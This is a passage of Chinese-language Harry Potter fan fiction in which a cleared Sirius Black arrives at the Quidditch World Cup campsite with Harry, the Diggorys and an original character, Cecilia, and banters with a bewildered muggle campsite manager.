    西里斯如今可以毫无掩饰地走在路上,却仍有一些人认出他。有人回头,有人低声说出他的名字,也有人盯着哈利看,试图确认预言家日报中那一连串复杂事件是否真的意味着哈利·波特正与曾被整个英国通缉的教父一起前往世界杯。

    西里斯起初会本能地留意那些目光。

    那是一种十二年里形成的反应:听见名字便判断方向,看见魔法部制服便确认对方是否正在接近。可这里没有人拔出魔杖,也没有摄魂怪从天空落下。登记处的职员检查过他的票,只在姓名一栏盖章;负责营地入口的年轻女巫认出他以后显得有些紧张,却仍然称呼他为布莱克先生,并祝他观看愉快。

    哈利走在他旁边,没有表现出任何需要保护或解释的样子。

    西里斯的肩膀逐渐放松下来。他甚至开始主动向一名盯着自己太久的男巫微笑。那名男巫立刻转开视线,事实证明,一个无罪的西里斯·布莱克仍然能够保留过去照片中的大部分威慑力。

    营地入口由一户麻瓜家庭管理。男主人坐在小木屋前,面前放着登记簿与零钱盒。他显然已经在短时间内接待了太多举止异常的露营者,脸上浮现出一种不断怀疑世界、又没有足够证据证明世界出了问题的疲惫。魔法部职员隐藏在附近,每隔一段时间便走过去修改他的记忆;修改次数太多以后,他开始隐约记得自己今天已经忘记过一些事。

    “几顶帐篷?”他问。

    “两顶。”西里斯说。

    “你们带了吗?”

    “带了。”

    男主人看向他们的行李。西里斯只有两个箱子,迪戈里一家也没有携带任何能够容纳六七个人的普通帐篷。他皱起眉,像是准备再次询问。远处一名穿着花裙子、却留着浓密胡须的巫师恰好从木屋前经过,男主人的注意力立刻被吸引过去。

    “那个人为什么穿成那样?”

    “天气很暖和。”西里斯说。

    男主人看了看阴沉的天空。

    “他还有胡子。”

    “这两件事并不冲突。”

    负责遗忘咒的职员及时出现,把西里斯一行人引向营地内部。走出一段距离后,他低声请求他们尽可能像普通露营者一样行动。

    “我们一直很普通。”西里斯说。

    职员看了一眼他身后自行漂浮的箱子。

    塞德里克用魔杖轻轻一点,箱子落到地上。

    “现在普通了。”西里斯说。

    道路沿缓坡向上。两侧的帐篷起初还像普通麻瓜露营地,只有窗户数量偶尔与外部尺寸不符。继续向前以后,伪装便逐渐失去约束。有人在帐篷顶端安装了银色烟囱,烟雾形成所属国家队的动物标志;一座看起来只有半人高的小帐篷里传出几十个人共同唱歌的声音;远处立着一顶拥有三层阳台的紫色帐篷,每层都有人向外挥舞旗帜。爱尔兰队的绿色越来越多,三叶草、竖琴与不断飞舞的小精灵装饰覆盖着大半营地;保加利亚支持者则高举克鲁姆的画像,画面里的克鲁姆不厌其烦地皱眉。

    他们走到坡顶。

    前方的视野忽然完全打开。

    数万顶帐篷沿着起伏的草地铺向远处,色彩、旗帜与魔法灯光在清晨尚未散尽的雾里连成一片。来自不同国家的巫师沿道路流动,语言与笑声汇成持续不断的低鸣。更远处,巨大的世界杯赛场从山谷另一侧升起,顶部的金色旗帜已经触到云层。即使距离如此遥远,仍能听见内部有人试验扩音咒时传出的短促回声。

    哈利站在西里斯身旁,眼睛已经完全亮起来。塞德里克下意识停步,像是在确认所有人都已经看见。阿莫斯开始指出魔法部为容纳十万人使用的空间扩展技术。迪戈里夫人让他至少等到放下行李以后再进行说明。西里斯则展开那张已经没有实际用途的地图,认真寻找他们的营地区域。

    西西莉亚站在山坡上,风从广阔营地的方向吹来,掀起她肩后的长发。

    旅行计划已经在戈德里克山谷合上了。

    但她看着数万顶帐篷沿远方铺开,忽然觉得西里斯或许有一句话没有说错。

    下一次旅行,从来不需要等到明年。